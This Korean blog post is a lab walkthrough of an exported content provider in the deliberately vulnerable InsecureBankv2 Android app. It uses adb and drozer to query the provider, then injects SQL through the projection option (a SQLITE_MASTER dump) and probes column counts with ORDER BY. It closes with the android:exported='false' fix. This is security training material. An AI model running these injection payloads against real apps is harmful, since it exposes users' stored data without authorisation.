취약한 콘텐츠 프로바이더 취약점
콘텐츠 프로바이더(Content Provider)는 다른 애플리케이션의 데이터베이스나 파일에 접근할 수 있는 인터페이스를 제공한다. 콘텐츠 프로바이더의 존재를 확인하기 위해서 manifest.xml 파일 내 <provider> 요소를 확인하면 된다. 다른 애플리케이션에서 해당 콘텐츠 프로바이더에 접근하기 위하여 URI 주소가 필요하며, URI 주소의 형식은 "Content://"이다.
해당 취약점이 존재할 경우, 데이터베이스 접근 뿐만아니라 수정 및 삭제도 가능하다.
취약한 콘텐츠 프로바이더 실습_adb 활용
1. jadx 툴을 이용하여 "content://" 검색한다.
2. content provider 관련 URI 확인한다.
3. adb를 이용하여 관련 내용을 확인한다.
a32:/ $ content query --uri content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers
Row: 0 id=1, name=jack
Row: 1 id=2, name=jack
Row: 2 id=3, name=jack
Row: 3 id=4, name=jack
Row: 4 id=5, name=jack
Row: 5 id=6, name=jack
취약한 콘텐츠 프로바이더 실습_drozer 활용
1. app.provider.info 명령어를 이용하여 content provider 정보를 확인한다.
dz> run app.provider.info -a com.android.insecurebankv2
Attempting to run shell module
Package: com.android.insecurebankv2
Authority: com.android.insecurebankv2.TrackUserContentProvider
Read Permission: null
Write Permission: null
Content Provider: com.android.insecurebankv2.TrackUserContentProvider
Multiprocess Allowed: False
Grant Uri Permissions: False
Uri Permission Patterns:
Path Permissions:
2. scanner.provider.finduris 명령어를 이용하여 content provider의 URI 정보를 확인한다.
dz> run scanner.provider.finduris -a com.android.insecurebankv2
Attempting to run shell module
Scanning com.android.insecurebankv2...
Got a response from content Uri: content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers/
No respone from content URI: content://com.android.insecurebankv2.TrackUserContentProvider
No respone from content URI: content://com.google.android.gms.games
No respone from content URI: content://com.android.insecurebankv2.TrackUserContentProvider/
No respone from content URI: content://com.google.android.gms.games/
Got a response from content Uri: content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers
For sure accessible content URIs: # URI 정보 확인
content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers/
content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers
3. app.provider.query 명령어를 이용하여 관련 내용을 확인한다.
dz> run app.provider.query content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers
Attempting to run shell module
| id | name |
| 1 | jack |
| 2 | jack |
| 3 | jack |
| 4 | jack |
| 5 | jack |
취약한 콘텐츠 프로바이더 취약점을 이용한 SQL 인젝션 공격
명령어 run.provider.query 관련한 도움말을 확인하여 필요한 옵션을 확인한다.
dz> run app.provider.query -h
options:
-h, --help
--projection [columns ...] # select <임의의 값> from ... 형식
the columns to SELECT from the database, as in "SELECT <projection> FROM ..."
--selection conditions # Where <임의의 값> 형식
the conditions to apply to the query, as in "WHERE <conditions>"
--selection-args [arg ...]
any parameters to replace '?' in --selection
--order by_column the column to order results by # 컬럼 갯수 확인
--vertical
Case 1) projection 옵션을 통하여 모든 테이블 정보 확인
dz> run app.provider.query content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers
--projection "* from SQLITE_MASTER where type='table';--"
| type | name | tbl_name | rootpage | sql
|
| table | android_metadata | android_metadata | 3 | CREATE TABLE android_metadata (locale TEXT)
|
| table | names | names | 4 | CREATE TABLE names (id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT NOT NULL) |
| table | sqlite_sequence | sqlite_sequence | 5 | CREATE TABLE sqlite_sequence(name,seq)
Case2) order 옵션을 이용하여 해당 테이블의 컬럼 갯수를 확인
dz> run app.provider.query content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers
--order 2
# 컬럼 갯수 2개 True
Attempting to run shell module
| id | name |
| 1 | jack |
| 2 | jack |
| 3 | jack |
| 4 | jack |
| 5 | jack |
아래와 같이 테이블 내 컬럼 갯수 보다 높은 수를 입력할 경우 오류가 발생하는 것을 확인
dz> run app.provider.query content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers
--order 3
# 컬럼 갯수 3개 이상 False
Attempting to run shell module
Exception occured: 1st ORDER BY term out of range - should be between 1 and 2 (code 1 SQLITE_ERROR[1]): ,
while compiling: SELECT * FROM names ORDER BY 3
대응방안
manifest.xml에서 content provider 관련 항목이 android:exported="true" 일 경우 취약한 콘텐츠 프로바이더 취약점이 발생한다.
<provider android:name=".TrackUserContentProvider"
android:authorities="com.android.insecurebankv2.
TrackUserContentProvider" android:exported="true">
</provider>
android:exported="false" 로 수정하면 된다.
<provider android:name=".TrackUserContentProvider"
android:authorities="com.android.insecurebankv2.
TrackUserContentProvider" android:exported="false">
</provider>
'Mobile > 🩷 Android' 카테고리의 다른 글
11. Insecurebankv2 실습_중요정보 평문 저장 및 전송 (0) | 2024.05.03 |
---|---|
10. Insecurebankv2 실습_취약한 브로드캐스트 리시버 (0) | 2024.04.27 |
08. Insecurebankv2 실습_취약한 인증 매커니즘 (0) | 2024.04.26 |
07. Anodroid 진단 도구_drozer 기본 명령어 (0) | 2024.04.26 |
06. Anodroid 진단 도구_drozer 설치 (0) | 2024.04.26 |